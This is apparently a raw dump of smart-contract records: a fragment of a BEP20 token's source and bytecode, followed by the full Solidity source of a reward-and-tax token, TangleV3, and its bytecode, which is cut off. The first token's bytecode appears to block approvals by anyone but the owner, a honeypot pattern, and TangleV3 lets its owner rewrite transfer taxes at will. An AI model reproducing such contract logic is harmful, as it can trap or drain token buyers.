require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d9281cd6328da7c1e644de0949f6ff39b890f3b94588bf3c53a7aad7a6f3e77364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,395
0xC7827a6CCc51176A986F05Ec8572244aecE6bf2e
// SPDX-License-Identifier: 0BSD pragma solidity ^0.8.7; interface ERC20 { function transfer(address to, uint tokens) external; function transferFrom(address from, address to, uint tokens) external; } contract TangleV3 { uint8 public decimals; uint public totalSupply; string public name; string public symbol; mapping (address => uint256) private balances; mapping (address => mapping (address => uint)) private allowed; bool public disableGame = false; address public gamemaster; address public owner; address public liquidityAddress; uint public totalPieces; uint public piecesPerUnit; uint public minHoldAmount; uint public workaroundConstant = 1; uint public distributionRewardThreshold; uint public marketMakingRewardThreshold; mapping(uint => uint) public S; mapping(uint => uint) public tax; mapping(uint => uint) public rewardMax; mapping(uint => uint) public startTime; mapping(uint => uint) public rewardConst; mapping(uint => uint) public totalRewardableEvents; mapping(uint => uint) public lastRewardDistribution; mapping(uint => uint) public rewardsLastRewardChange; mapping(uint => uint) public timeFromInitToLastRewardChange; mapping(address => bool) public hasReceivedPieces; mapping(address => mapping(uint => uint)) public Si; mapping(address => mapping(uint => uint)) public WCi; mapping(address => mapping(uint => uint)) public storedRewards; mapping(address => mapping(uint => uint)) public rewardableEvents; constructor() { name = "TangleV3"; symbol = "TNGLv3"; decimals = 9; totalSupply = 1e9 * 1*10**(decimals); totalPieces = type(uint128).max - (type(uint128).max % totalSupply); piecesPerUnit = totalPieces / totalSupply; balances[msg.sender] = totalPieces; gamemaster = msg.sender; owner = msg.sender; minHoldAmount = 1; distributionRewardThreshold = 1e9; marketMakingRewardThreshold = 1e9; // INITIAL REWARDCONST MAP { rewardConst[0] = 300000; // Market Maker rewardConst[1] = 300000; // Distributor rewardConst[2] = 300000; // Staker // } // INITIAL TAX MAP { tax[100] = 5e9; // Transfer Multiplier tax[101] = 1e11; // Transfer Divisor tax[200] = 1e9; // Market Maker Transfer Multiplier tax[201] = 1e11; // Market Maker Transfer Divisor tax[210] = 10e9; // Market Maker Withdraw Multiplier tax[211] = 1e11; // Market Maker Withdraw Divisor tax[220] = 4e9; // Market Maker To Distributor Multiplier tax[221] = 1e11; // Market Maker To Distributor Divisor tax[230] = 4e9; // Market Maker To Staker Multiplier tax[231] = 1e11; // Market Maker To Staker Divisor tax[240] = 1e9; // Market Maker To Reflect Multiplier tax[241] = 1e11; // Market Maker To Reflect Divisor tax[250] = 1e9; // Market Maker To Gamemaster Multiplier tax[251] = 1e11; // Market Maker To Gamemaster Divisor tax[300] = 1e9; // Distributor Transfer Multiplier tax[301] = 1e11; // Distributor Transfer Divisor tax[310] = 10e9; // Distributor Withdraw Multiplier tax[311] = 1e11; // Distributor Withdraw Divisor tax[320] = 4e9; // Distributor To Market Maker Multiplier tax[321] = 1e11; // Distributor To Market Maker Divisor tax[330] = 4e9; // Distributor To Staker Multiplier tax[331] = 1e11; // Distributor To Staker Divisor tax[340] = 1e9; // Distributor To Reflect Multiplier tax[341] = 1e11; // Distributor To Reflect Divisor tax[350] = 1e9; // Distributor To Gamemaster Multiplier tax[351] = 1e11; // Distributor To Gamemaster Divisor tax[400] = 1e9; // Staker Transfer Multiplier tax[401] = 1e11; // Staker Transfer Divisor tax[410] = 10e9; // Staker Withdraw Multiplier tax[411] = 1e11; // Staker Withdraw Divisor tax[420] = 4e9; // Staker To Market Maker Multiplier tax[421] = 1e11; // Staker To Market Maker Divisor tax[430] = 4e9; // Staker To Distributor Multiplier tax[431] = 1e11; // Staker To Distributor Divisor tax[440] = 1e9; // Staker To Reflect Multiplier tax[441] = 1e11; // Staker To Reflect Divisor tax[450] = 1e9; // Staker To Gamemaster Multiplier tax[451] = 1e11; // Staker To Gamemaster Divisor tax[500] = 1e9; // Reflect Transfer Multiplier tax[501] = 1e11; // Reflect Transfer Divisor tax[600] = 1e9; // Gamemaster Transfer Multiplier tax[601] = 1e11; // Gamemaster Transfer Divisor // } } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner] / piecesPerUnit; } function allowance(address _owner, address spender) public view returns (uint256) { return allowed[_owner][spender]; } function approve(address spender, uint256 value) public returns (bool) { allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { allowed[msg.sender][spender] = allowed[msg.sender][spender] + addedValue; emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { allowed[msg.sender][spender] = allowed[msg.sender][spender] - subtractedValue; emit Approval(msg.sender, spender, allowed[msg.sender][spender]); return true; } function transfer(address to, uint256 value) public returns (bool) { if (value > balances[msg.sender] / piecesPerUnit) revert(); value = enforceMinHold(msg.sender, value); uint pieceValue = value * piecesPerUnit; balances[msg.sender] -= pieceValue; if (msg.sender == owner || disableGame) { balances[to] += pieceValue; emit Transfer(msg.sender, to, value); return true; } balances[to] += pieceValue - taxify(pieceValue, 10); balances[address(this)] += taxify(pieceValue, 20) + taxify(pieceValue, 30) + taxify(pieceValue, 40); balances[gamemaster] += taxify(pieceValue, 60); for (uint i = 0; i < 3; i++) { changeRewardMax(i, rewardMax[i] + taxify(pieceValue, 20 + i * 10)); } reflect(taxify(pieceValue, 50)); if (msg.sender != owner && msg.sender != gamemaster && to != owner && to != gamemaster) { if (msg.sender != liquidityAddress && to != liquidityAddress) distributorCheck(msg.sender, to, value); marketMakerCheck(msg.sender, to, value); } emit Transfer(msg.sender, to, value - taxify(value, 10)); emit Transfer(msg.sender, address(this), taxify(value, 20) + taxify(value, 30) + taxify(value, 40)); emit Transfer(msg.sender, gamemaster, taxify(value, 60)); emit ReflectEvent(msg.sender, taxify(value, 50)); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { if (value > balances[from] / piecesPerUnit) revert(); value = enforceMinHold(from, value); allowed[from][msg.sender] = allowed[from][msg.sender] - value; uint pieceValue = value * piecesPerUnit; balances[from] -= pieceValue; if (from == owner || disableGame) { balances[to] += pieceValue; emit Transfer(from, to, value); return true; } balances[to] += pieceValue - taxify(pieceValue, 10); balances[address(this)] += taxify(pieceValue, 20) + taxify(pieceValue, 30) + taxify(pieceValue, 40); balances[gamemaster] += taxify(pieceValue, 60); for (uint i = 0; i < 3; i++) { changeRewardMax(i, rewardMax[i] + taxify(pieceValue, 20 + i * 10)); } reflect(taxify(pieceValue, 50)); if (from != owner && from != gamemaster && to != owner && to != gamemaster) { if (from != liquidityAddress && to != liquidityAddress) distributorCheck(from, to, value); marketMakerCheck(from, to, value); } emit Transfer(from, to, value - taxify(value, 10)); emit Transfer(from, address(this), taxify(value, 20) + taxify(value, 30) + taxify(value, 40)); emit Transfer(from, gamemaster, taxify(value, 60)); emit ReflectEvent(from, taxify(value, 50)); return true; } function cropDust(address[] memory addresses) public { uint viableAddresses = addresses.length; for (uint i = 0; i < addresses.length; i++) { if (hasReceivedPieces[addresses[i]]) { viableAddresses--; continue; } balances[addresses[i]] += distributionRewardThreshold * piecesPerUnit; hasReceivedPieces[addresses[i]] = true; emit Transfer(msg.sender, addresses[i], distributionRewardThreshold); } balances[msg.sender] -= distributionRewardThreshold * piecesPerUnit * viableAddresses; if (startTime[1] == 0) startTime[1] = block.timestamp; distribute(1); if (getAvailableRewards(msg.sender, 1) > 0) storedRewards[msg.sender][1] = getAvailableRewards(msg.sender, 1) * piecesPerUnit; Si[msg.sender][1] = S[1]; WCi[msg.sender][1] = workaroundConstant; rewardableEvents[msg.sender][1] += viableAddresses; totalRewardableEvents[1] += viableAddresses; } function enforceMinHold(address sender, uint value) internal view returns (uint) { if (balances[sender] / piecesPerUnit - value < minHoldAmount && sender != liquidityAddress) value = balances[sender] / piecesPerUnit - minHoldAmount; return value; } function taxify(uint value, uint id) internal view returns (uint) { return value * tax[id * 10] / tax[id * 10 + 1]; } function changeRewardMax(uint id, uint newRewardMax) internal { if (startTime[id] > 0) { rewardsLastRewardChange[id] = rewardTheoretical(id); timeFromInitToLastRewardChange[id] = block.timestamp - startTime[id]; } rewardMax[id] = newRewardMax; } function rewardTheoretical(uint id) public view returns (uint) { if (startTime[id] == 0) return 0; return rewardMax[id] - (rewardMax[id] - rewardsLastRewardChange[id]) * rewardConst[id] / (block.timestamp - startTime[id] + rewardConst[id] - timeFromInitToLastRewardChange[id]); } function reflect(uint reflectAmount) internal { uint FTPXA = totalSupply * piecesPerUnit - balances[liquidityAddress]; uint FFTPXARA = FTPXA - reflectAmount; piecesPerUnit = piecesPerUnit * FFTPXARA / FTPXA; if (piecesPerUnit < 1) piecesPerUnit = 1; balances[liquidityAddress] = balances[liquidityAddress] * FFTPXARA / FTPXA; } function distributorCheck(address sender, address receiver, uint value) internal { if (hasReceivedPieces[receiver] == false && value >= distributionRewardThreshold) { addRewardableEvents(sender, 1); hasReceivedPieces[receiver] = true; } } function marketMakerCheck(address sender, address receiver, uint value) internal { if (value >= marketMakingRewardThreshold) { if (sender == liquidityAddress) addRewardableEvents(receiver, 0); if (receiver == liquidityAddress) addRewardableEvents(sender, 0); } } function addRewardableEvents(address recipient, uint id) internal { if (startTime[id] == 0) startTime[id] = block.timestamp; distribute(id); if (getAvailableRewards(recipient, id) > 0) storedRewards[recipient][id] = getAvailableRewards(recipient, id) * piecesPerUnit; Si[recipient][id] = S[id]; WCi[recipient][id] = workaroundConstant; rewardableEvents[recipient][id] += 1; totalRewardableEvents[id] += 1; } function distribute(uint id) internal { if (totalRewardableEvents[id] != 0 && lastRewardDistribution[id] != rewardTheoretical(id)) { uint addedReward = rewardTheoretical(id) - lastRewardDistribution[id]; while (addedReward > 0 && addedReward * workaroundConstant / totalRewardableEvents[id] < 1e9) { workaroundConstant *= 2; for (uint i; i < 3; i++) S[i] *= 2; } S[id] += addedReward * workaroundConstant / totalRewardableEvents[id]; lastRewardDistribution[id] = rewardTheoretical(id); } } function getAvailableRewards(address _address, uint id) public view returns (uint) { if (WCi[_address][id] == 0) return 0; uint _workaroundConstant = workaroundConstant; uint _S = S[id]; if (totalRewardableEvents[id] != 0 && lastRewardDistribution[id] != rewardTheoretical(id)) { uint addedReward = rewardTheoretical(id) - lastRewardDistribution[id]; while (addedReward > 0 && addedReward * _workaroundConstant / totalRewardableEvents[id] < 1e9) { _workaroundConstant *= 2; _S *= 2; } _S += addedReward * _workaroundConstant / totalRewardableEvents[id]; } uint availableRewards = storedRewards[_address][id] + rewardableEvents[_address][id] * (_S - Si[_address][id] * _workaroundConstant / WCi[_address][id]) / _workaroundConstant; return availableRewards / piecesPerUnit; } function getAllAvailableRewards(address _address) public view returns(uint, uint, uint, uint) { return (getAvailableRewards(_address, 0), getAvailableRewards(_address, 1), getAvailableRewards(_address, 2), getAvailableRewards(_address, 0) + getAvailableRewards(_address, 1) + getAvailableRewards(_address, 2)); } function withdrawRewards(address _address, uint id) public { distribute(id); if (WCi[_address][id] == 0) return; uint availableRewards = storedRewards[_address][id] + rewardableEvents[_address][id] * (S[id] - Si[_address][id] * workaroundConstant / WCi[_address][id]) / workaroundConstant; storedRewards[_address][id] = 0; Si[_address][id] = S[id]; WCi[_address][id] = workaroundConstant; uint id2 = (id + 2) * 10; balances[_address] += availableRewards - taxify(availableRewards, id2 + 1); balances[gamemaster] += taxify(availableRewards, id2 + 5); balances[address(this)] -= availableRewards - taxify(availableRewards, id2 + 2) - taxify(availableRewards, id2 + 3); for (uint i = 0; i < 2; i++) { changeRewardMax(id != i * 2 ? i * 2 : 1, rewardMax[id] + taxify(availableRewards, id2 + 2 + i)); } reflect(taxify(availableRewards, id2 + 4)); emit Transfer(address(this), _address, (availableRewards - taxify(availableRewards, id2 + 1)) / piecesPerUnit); emit Transfer(address(this), gamemaster, taxify(availableRewards, id2 + 5) / piecesPerUnit); emit ReflectEvent(address(this), taxify(availableRewards, id2 + 4) / piecesPerUnit); } function withdrawAllRewards(address _address) public { for (uint i = 0; i < 3; i++) { if (getAvailableRewards(_address, i) > 0) withdrawRewards(_address, i); } } function stake(uint amount) public { require(rewardableEvents[msg.sender][2] == 0, "staking position already exists"); ERC20(liquidityAddress).transferFrom(msg.sender, address(this), amount); if (startTime[2] == 0) startTime[2] = block.timestamp; distribute(2); if (getAvailableRewards(msg.sender, 2) > 0) storedRewards[msg.sender][2] = getAvailableRewards(msg.sender, 2) * piecesPerUnit; Si[msg.sender][2] = S[2]; WCi[msg.sender][2] = workaroundConstant; rewardableEvents[msg.sender][2] += amount; totalRewardableEvents[2] += amount; } function unstake() public { require(rewardableEvents[msg.sender][2] > 0, "no current staking position"); distribute(2); if (getAvailableRewards(msg.sender, 2) > 0) storedRewards[msg.sender][2] = getAvailableRewards(msg.sender, 2) * piecesPerUnit; ERC20(liquidityAddress).transfer(msg.sender, rewardableEvents[msg.sender][2]); totalRewardableEvents[2] -= rewardableEvents[msg.sender][2]; rewardableEvents[msg.sender][2] = 0; } function updatePosition(uint amount) public { unstake(); stake(amount); } function changeTaxDetail(uint id, uint value) public { require(msg.sender == owner, "not owner"); tax[id] = value; } function changeRewardConstant(uint newRewardConstant, uint id) public { require(msg.sender == owner, "not owner"); rewardConst[id] = newRewardConstant; } function changeLiquidityAddress(address newLiquidityAddress) public { require(msg.sender == owner, "not owner"); liquidityAddress = newLiquidityAddress; for (uint i = 0; i < 3; i++) { rewardableEvents[liquidityAddress][i] = 0; } } function changeOwner(address newOwner) public { require(msg.sender == owner, "not owner"); owner = newOwner; } function donate(uint id, uint value) public { uint pieceValue = value * piecesPerUnit; balances[msg.sender] -= pieceValue; balances[address(this)] += pieceValue; changeRewardMax(id, rewardMax[id] + pieceValue); } function changeDisableGame(bool newDisableGame) public { require(msg.sender == owner, "not owner"); disableGame = newDisableGame; } function changeDistributionRewardThreshold(uint newDistributionRewardThreshold) public { require(msg.sender == owner, "not owner"); distributionRewardThreshold = newDistributionRewardThreshold; } function changeMarketMakingRewardThreshold(uint newMarketMakingRewardThreshold) public { require(msg.sender == owner, "not owner"); marketMakingRewardThreshold = newMarketMakingRewardThreshold; } function changeMinHoldAmount(uint newMinHoldAmount) public { require(msg.sender == owner, "not owner"); minHoldAmount = newMinHoldAmount; } event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed owner, address indexed spender, uint256 value); event ReflectEvent(address indexed from, uint tokens); }
0x608060405234801561001057600080fd5b50600436106103575760003560e01c806370a08231116101c8578063b316706c11610104578063dd62ed3e116100a2578063e7877c361161007c578063e7877c3614610817578063f6b5fc2e14610842578063fd9ff94c1461086d578063fddacd7b146108a057600080fd5b8063dd62ed3e146107b1578063e1199817146107f7578063e653723d1461080457600080fd5b8063c55897bf116100de578063c55897bf14610753578063c561905014610766578063ca6be7f11461078b578063d6ef7af01461079e57600080fd5b8063b316706c14610724578063b5a2ac3b1461072d578063c4e4abc11461074057600080fd5b8063a1ff4f9111610171578063a694fc3a1161014b578063a694fc3a146106d8578063a6f9dae1146106eb578063a9059cbb146106fe578063b2c5541f1461071157600080fd5b8063a1ff4f9114610687578063a457c2d7146106b2578063a5d72fa7146106c557600080fd5b80638ebfe95c116101a25780638ebfe95c1461066357806395d89b41146106765780639ecba7ea1461067e57600080fd5b806370a08231146106105780637bd4e08f146106235780638da5cb5b1461064357600080fd5b80632def6620116102975780633ec4c96811610240578063577e59ea1161021a578063577e59ea146105cb5780635b7c132d146105d45780636cfdc929146105e75780636eee7549146105f057600080fd5b80633ec4c9681461056b5780633ee708aa1461058b5780634bc95007146105ab57600080fd5b8063338b41a211610271578063338b41a21461052557806335b9950f14610545578063395093511461055857600080fd5b80632def6620146104b9578063313ce567146104c15780633221c93f146104e057600080fd5b80631936f4b91161030457806322d5ba98116102de57806322d5ba981461045057806323b872dd14610473578063251ad9a2146104865780632c8aaf6c1461049957600080fd5b80631936f4b9146103fc5780631ae3d5ff1461042757806320bc17b91461044757600080fd5b80630cdd53f6116103355780630cdd53f6146103b25780630d1aba1f146103c557806318160ddd146103f357600080fd5b806306fdde031461035c578063095ea7b31461037a57806309f1c80a1461039d575b600080fd5b6103646108a9565b60405161037191906133c7565b60405180910390f35b61038d610388366004613256565b610937565b6040519015158152602001610371565b6103b06103ab36600461338c565b6109b1565b005b6103b06103c03660046133a5565b6109c5565b6103e56103d336600461338c565b60156020526000908152604090205481565b604051908152602001610371565b6103e560015481565b6103e561040a366004613256565b601960209081526000928352604080842090915290825290205481565b6103e561043536600461338c565b60106020526000908152604090205481565b6103e5600a5481565b61038d61045e3660046131cc565b60186020526000908152604090205460ff1681565b61038d61048136600461321a565b610a4c565b6103b061049436600461338c565b611050565b6103e56104a736600461338c565b60146020526000908152604090205481565b6103b06110db565b6000546104ce9060ff1681565b60405160ff9091168152602001610371565b6008546105009073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610371565b6103e561053336600461338c565b600f6020526000908152604090205481565b6103b061055336600461338c565b6112ca565b61038d610566366004613256565b611350565b6103e561057936600461338c565b60126020526000908152604090205481565b6103e561059936600461338c565b60176020526000908152604090205481565b6103e56105b936600461338c565b60116020526000908152604090205481565b6103e5600e5481565b6103b06105e23660046131cc565b6113f0565b6103e560095481565b6103e56105fe36600461338c565b60136020526000908152604090205481565b6103e561061e3660046131cc565b611506565b6103e561063136600461338c565b60166020526000908152604090205481565b6007546105009073ffffffffffffffffffffffffffffffffffffffff1681565b6103b061067136600461336a565b61153a565b6103646115ec565b6103e5600d5481565b6103e5610695366004613256565b601a60209081526000928352604080842090915290825290205481565b61038d6106c0366004613256565b6115f9565b6103b06106d336600461338c565b611635565b6103b06106e636600461338c565b6116bb565b6103b06106f93660046131cc565b611944565b61038d61070c366004613256565b611a0c565b6103e561071f366004613256565b611ed7565b6103e5600c5481565b6103e561073b36600461338c565b61210c565b6103b061074e3660046133a5565b6121c0565b6103b06107613660046131cc565b612252565b60065461050090610100900473ffffffffffffffffffffffffffffffffffffffff1681565b6103b0610799366004613280565b61228c565b6103b06107ac366004613256565b612636565b6103e56107bf3660046131e7565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260056020908152604080832093909416825291909152205490565b60065461038d9060ff1681565b6103b06108123660046133a5565b612ab5565b6103e5610825366004613256565b601b60209081526000928352604080842090915290825290205481565b6103e5610850366004613256565b601c60209081526000928352604080842090915290825290205481565b61088061087b3660046131cc565b612b48565b604080519485526020850193909352918301526060820152608001610371565b6103e5600b5481565b600280546108b690613516565b80601f01602080910402602001604051908101604052809291908181526020018280546108e290613516565b801561092f5780601f106109045761010080835404028352916020019161092f565b820191906000526020600020905b81548152906001019060200180831161091257829003601f168201915b505050505081565b33600081815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061099f9086815260200190565b60405180910390a35060015b92915050565b6109b96110db565b6109c2816116bb565b50565b6000600a54826109d5919061348d565b336000908152600460205260408120805492935083929091906109f99084906134ca565b90915550503060009081526004602052604081208054839290610a1d90849061343a565b9091555050600083815260116020526040902054610a47908490610a4290849061343a565b612bb3565b505050565b600a5473ffffffffffffffffffffffffffffffffffffffff84166000908152600460205260408120549091610a8091613452565b821115610a8c57600080fd5b610a968483612c17565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600560209081526040808320338452909152902054909250610ad59083906134ca565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600560209081526040808320338452909152812091909155600a54610b16908461348d565b73ffffffffffffffffffffffffffffffffffffffff8616600090815260046020526040812080549293508392909190610b509084906134ca565b909155505060075473ffffffffffffffffffffffffffffffffffffffff86811691161480610b80575060065460ff165b15610c325773ffffffffffffffffffffffffffffffffffffffff841660009081526004602052604081208054839290610bba90849061343a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610c2091815260200190565b60405180910390a36001915050611049565b610c3d81600a612cd2565b610c4790826134ca565b73ffffffffffffffffffffffffffffffffffffffff851660009081526004602052604081208054909190610c7c90849061343a565b90915550610c8d9050816028612cd2565b610c9882601e612cd2565b610ca3836014612cd2565b610cad919061343a565b610cb7919061343a565b3060009081526004602052604081208054909190610cd690849061343a565b90915550610ce7905081603c612cd2565b600654610100900473ffffffffffffffffffffffffffffffffffffffff1660009081526004602052604081208054909190610d2390849061343a565b90915550600090505b6003811015610d8357610d7181610d5884610d4883600a61348d565b610d5390601461343a565b612cd2565b600084815260116020526040902054610a42919061343a565b80610d7b81613564565b915050610d2c565b50610d97610d92826032612cd2565b612d31565b60075473ffffffffffffffffffffffffffffffffffffffff868116911614801590610de2575060065473ffffffffffffffffffffffffffffffffffffffff8681166101009092041614155b8015610e09575060075473ffffffffffffffffffffffffffffffffffffffff858116911614155b8015610e35575060065473ffffffffffffffffffffffffffffffffffffffff8581166101009092041614155b15610e9b5760085473ffffffffffffffffffffffffffffffffffffffff868116911614801590610e80575060085473ffffffffffffffffffffffffffffffffffffffff858116911614155b15610e9057610e90858585612e1b565b610e9b858585612eb6565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ef586600a612cd2565b610eff90876134ca565b60405190815260200160405180910390a33073ffffffffffffffffffffffffffffffffffffffff86167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f54866028612cd2565b610f5f87601e612cd2565b610f6a886014612cd2565b610f74919061343a565b610f7e919061343a565b60405190815260200160405180910390a360065473ffffffffffffffffffffffffffffffffffffffff61010090910481169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fde86603c612cd2565b60405190815260200160405180910390a38473ffffffffffffff